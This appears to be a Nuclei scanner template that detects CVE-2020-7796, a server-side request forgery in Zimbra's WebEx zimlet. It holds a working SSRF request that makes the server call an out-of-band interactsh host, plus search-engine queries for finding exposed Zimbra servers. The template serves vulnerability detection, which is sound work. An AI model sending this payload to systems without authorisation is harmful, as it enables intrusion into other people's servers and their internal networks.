CVE-2020-7796: Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery

id: CVE-2020-7796

info:
  name: Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery
  author: gy741
  severity: critical
  description: Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 is susceptible to server-side request forgery when WebEx zimlet is installed and zimlet JSP is enabled.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest patch or upgrade to Zimbra Collaboration Suite version 8.8.15 Patch 7 or higher to mitigate this vulnerability.
  reference:
    - https://www.adminxe.com/2183.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7796
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7796
    cwe-id: CWE-918
    epss-score: 0.90602
    epss-percentile: 0.99584
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
    google-query:
      - intitle:"zimbra collaboration suite"
      - intitle:"zimbra web client sign in"
  tags: cve,cve2020,zimbra,ssrf,oast,synacor,vkev,vuln

http:
  - raw:
      - |
        GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a00463044022013e6aae70d15d5a6e13b937863c50bc445a21d370cd4fa60ce74a1bd50c4dd8e02200f1fbe3a886369a641cc68e203958b757c0d34f9890c024a4d582726fe5490b9:922c64590222798bb761d5b6d8e72950